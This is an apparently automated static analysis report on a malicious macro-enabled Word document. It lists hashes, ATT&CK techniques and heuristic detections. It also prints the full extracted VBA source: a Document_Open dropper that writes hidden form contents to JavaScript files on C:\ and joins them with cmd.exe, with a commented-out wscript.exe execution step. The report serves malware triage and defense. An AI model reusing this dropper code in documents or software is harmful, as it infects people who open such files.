Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 4c04a680849c14b4…

MALICIOUS

Office (OOXML)

192.9 KB Created: 2021-06-10 09:07:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2021-06-17
MD5: f3fcf384a86d3aceb3e0cf30dfc701ba SHA-1: b9ed73ed47e579b367912773d8eb087b32f1d9ab SHA-256: 4c04a680849c14b4f194baac4b8a9225aa7349402afc9ee32cbb21b7a60dd247
430 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.003 Windows Command Shell T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains a Document_Open VBA macro that leverages CreateObject and Shell() calls to write two JavaScript files to the C drive and then combine them into a new file named 'new.js' using 'cmd.exe /c copy /b C:\TestFile1.js+C:\TestFile2.js C:\new.js'. This indicates the document is designed to download and execute a second-stage payload, likely a malicious executable, disguised as JavaScript. The ClamAV detection 'Doc.Dropper.EmbeddedBase64Exe-9865902-1' further supports this dropper functionality.

Heuristics 10

  • ClamAV: Doc.Dropper.EmbeddedBase64Exe-9865902-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.EmbeddedBase64Exe-9865902-1
  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        'runcalc = Shell("wscript.exe C:\" & sexec)
    'runcalc = Shell("cmd.exe /c type C:\TestFile2.js >> C:\TestFile1.js")
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
        'runcalc = Shell("wscript.exe C:\" & sexec)
    'runcalc = Shell("cmd.exe /c type C:\TestFile2.js >> C:\TestFile1.js")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set Fso = CreateObject("Scripting.FileSystemObject")
    Set sFile = Fso.CreateTextFile(gPath & "/TestFile1.js", True)
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
        'runcalc = Shell("wscript.exe C:\" & sexec)
    'runcalc = Shell("cmd.exe /c type C:\TestFile2.js >> C:\TestFile1.js")
    runcalc = Shell("cmd.exe /c copy /b C:\TestFile1.js+C:\TestFile2.js C:\new.js")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub Document_Open()
UserForm1.Hide
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2097 bytes
SHA-256: 7d8684952487117ba537c039b0cc7064c3a835807f614ff96d10bf252678a3b3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
UserForm1.Hide
UserForm2.Hide
    Dim gPath As String
    Dim vl1 As String
    Dim vl2 As String
    Dim sFile As Object, Fso As Object
    Dim aa As String
    
    vl1 = UserForm1.TextBox1.Value
    vl2 = UserForm2.TextBox1.Value
    runame = "sj.udU8se25hgKL.gnp"
    sexec = StrReverse(runame)
    gPath = "C:\"
    
    Set Fso = CreateObject("Scripting.FileSystemObject")
    Set sFile = Fso.CreateTextFile(gPath & "/TestFile1.js", True)
    sFile.WriteLine ("" & vl1)
    MsgBox ("vl1 end.")
    
    Set Fso = CreateObject("Scripting.FileSystemObject")
    Set sFile = Fso.CreateTextFile(gPath & "/TestFile2.js", True)
    sFile.WriteLine ("" & vl2)
    MsgBox ("vl2 end.")
    
    'Open "C:\TestFile1.js" For Append As #1
    'Print #1, vl2
    'Close #1
    
    'runcalc = Shell("wscript.exe C:\" & sexec)
    'runcalc = Shell("cmd.exe /c type C:\TestFile2.js >> C:\TestFile1.js")
    runcalc = Shell("cmd.exe /c copy /b C:\TestFile1.js+C:\TestFile2.js C:\new.js")
    'MsgBox ("cmd.exe /b C:\\TestFile.js + C:\\TestFile1.js C:\\new.js")

End Sub


Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{CCA5AB4C-4786-4C87-AFD0-3980605F597E}{AC666D06-C774-47CF-952B-73D574CC17FB}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "UserForm2"
Attribute VB_Base = "0{7BA68A7E-B09F-4DF3-9C05-3950EAE8E2A7}{503D681D-A1BB-425A-8D37-F3E4E35CB1CF}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 327168 bytes
SHA-256: e9a577d5dff35bcb30620520f8d555b81c8d5ef95e263d36b7e059df68576d63
Detection
ClamAV: Doc.Dropper.EmbeddedBase64Exe-9865902-1
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s). 4615 of 9137 identifiers look randomly generated (e.g. 'AIANPgCAHj3AgAAAAAAFwAAgAMAAIATAACAOQAAg'); 32 string-concatenation chain(s) — consistent with name-mangling obfuscation. Carved artifact contains 104 long base64-like blob(s).

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